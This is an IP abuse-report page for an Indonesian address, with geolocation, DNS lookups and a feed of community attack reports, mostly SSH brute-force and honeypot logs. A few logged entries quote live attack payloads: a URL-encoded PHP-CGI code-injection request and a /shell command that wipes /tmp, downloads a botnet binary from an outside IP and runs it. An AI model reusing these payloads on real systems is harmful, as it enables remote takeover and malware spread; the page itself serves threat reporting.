158.140.168.41

Basic Info

City: Tangerang

Region: Banten

Country: Indonesia

Internet Service Provider: PT. Eka Mas Republik

Hostname: unknown

Organization: PT. Eka Mas Republik

Usage Type: Fixed Line ISP

Comments:

Make a comment on this IP

Type	Details	Datetime
attack	Unauthorized connection attempt from IP address 158.140.168.41 on Port 445(SMB)	2019-07-10 04:03:52

Comments on same subnet:

No discussion about this subnet yet..

Whois info:

Dig info:

; <<>> DiG 9.10.3-P4-Ubuntu <<>> 158.140.168.41
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 21450
;; flags: qr rd ra ad; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;158.140.168.41.			IN	A

;; AUTHORITY SECTION:
.			3600	IN	SOA	a.root-servers.net. nstld.verisign-grs.com. 2019070901 1800 900 604800 86400

;; Query time: 3 msec
;; SERVER: 67.207.67.2#53(67.207.67.2)
;; WHEN: Wed Jul 10 04:03:45 CST 2019
;; MSG SIZE  rcvd: 118

Host info

41.168.140.158.in-addr.arpa domain name pointer host-158.140.168-41.myrepublic.co.id.

Nslookup info:

Server:		67.207.67.2
Address:	67.207.67.2#53

Non-authoritative answer:
41.168.140.158.in-addr.arpa	name = host-158.140.168-41.myrepublic.co.id.

Authoritative answers can be found from:

Related IP info:

Related comments:

IP	Type	Details	Datetime
201.71.173.217	attack	201.71.173.217 - - [14/Jul/2020:20:17:26 +0100] "POST /xmlrpc.php HTTP/1.1" 403 219 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" 201.71.173.217 - - [14/Jul/2020:20:17:28 +0100] "POST /wp-login.php HTTP/1.1" 200 5891 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" 201.71.173.217 - - [14/Jul/2020:20:26:09 +0100] "POST /xmlrpc.php HTTP/1.1" 403 219 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" ...	2020-07-15 06:31:11
185.20.218.150	attackbotsspam	20 attempts against mh-ssh on hail	2020-07-15 06:09:13
191.193.225.202	attackbots	2020-07-14T20:23:08.018093shield sshd\[31867\]: Invalid user explorer from 191.193.225.202 port 43220 2020-07-14T20:23:08.028943shield sshd\[31867\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=191.193.225.202 2020-07-14T20:23:10.196526shield sshd\[31867\]: Failed password for invalid user explorer from 191.193.225.202 port 43220 ssh2 2020-07-14T20:28:03.326454shield sshd\[32612\]: Invalid user owa from 191.193.225.202 port 54300 2020-07-14T20:28:03.339337shield sshd\[32612\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=191.193.225.202	2020-07-15 06:28:35
139.198.17.144	attackbotsspam	(sshd) Failed SSH login from 139.198.17.144 (CN/China/-): 5 in the last 3600 secs; Ports: *; Direction: inout; Trigger: LF_SSHD; Logs: Jul 15 00:07:14 srv sshd[8394]: Invalid user wxl from 139.198.17.144 port 52656 Jul 15 00:07:16 srv sshd[8394]: Failed password for invalid user wxl from 139.198.17.144 port 52656 ssh2 Jul 15 00:20:38 srv sshd[17489]: Invalid user uyt from 139.198.17.144 port 35912 Jul 15 00:20:40 srv sshd[17489]: Failed password for invalid user uyt from 139.198.17.144 port 35912 ssh2 Jul 15 00:23:17 srv sshd[17524]: Invalid user ftpusr from 139.198.17.144 port 40292	2020-07-15 06:29:39
37.208.41.110	attackspambots	Unauthorized access or intrusion attempt detected from Thor banned IP	2020-07-15 06:13:43
162.62.20.10	attackspam	Honeypot attack, port: 135, PTR: PTR record not found	2020-07-15 06:03:23
185.220.101.19	attackbots	2020-07-14T18:26:25.000Z "POST /cgi-bin/php4.cgi?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1" "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"	2020-07-15 06:02:20
220.174.24.4	attackbots	SSH Brute Force	2020-07-15 06:20:08
222.186.180.6	attackspambots	Jul 15 00:08:18 nas sshd[22662]: Failed password for root from 222.186.180.6 port 14010 ssh2 Jul 15 00:08:24 nas sshd[22662]: Failed password for root from 222.186.180.6 port 14010 ssh2 Jul 15 00:08:29 nas sshd[22662]: Failed password for root from 222.186.180.6 port 14010 ssh2 Jul 15 00:08:33 nas sshd[22662]: Failed password for root from 222.186.180.6 port 14010 ssh2 ...	2020-07-15 06:12:22
166.62.27.55	attack	Sendgrid 198.21.6.101 From: "Kroger SOI" - malware links + header: perksystem.info go.darcyprio.com go.altakagenw.com www.expenseplan.com u17355174.ct.sendgrid.net sendgrid.net angrypards.info	2020-07-15 06:22:50
177.38.77.202	attack	SS5,DEF GET /shell?cd+/tmp;rm+-rf+*;wget+45.95.168.154/beastmode/b3astmode.arm7;chmod+777+/tmp/b3astmode.arm7;sh+/tmp/b3astmode.arm7+BeastMode.Rep.Jaws	2020-07-15 06:21:09
37.152.181.151	attackbotsspam	Invalid user andes from 37.152.181.151 port 57630	2020-07-15 06:11:52
98.109.64.27	attackbots	Honeypot attack, port: 81, PTR: static-98-109-64-27.nwrknj.fios.verizon.net.	2020-07-15 06:00:49
188.152.189.220	attackspam	Invalid user ghu from 188.152.189.220 port 59797	2020-07-15 06:20:40
195.97.19.2	attackbots	Honeypot attack, port: 445, PTR: ns1.mgroup.host.	2020-07-15 06:05:43

Recently Reported IPs

78.39.238.61	215.83.26.39	90.63.187.43	111.253.221.167
91.45.154.91	8.72.84.146	46.161.27.87	155.74.156.12
60.128.1.67	44.29.116.170	159.154.173.248	112.135.64.238
24.5.146.83	143.214.109.172	71.81.54.100	200.217.147.238
110.179.231.40	52.195.212.136	78.205.219.190	218.42.250.245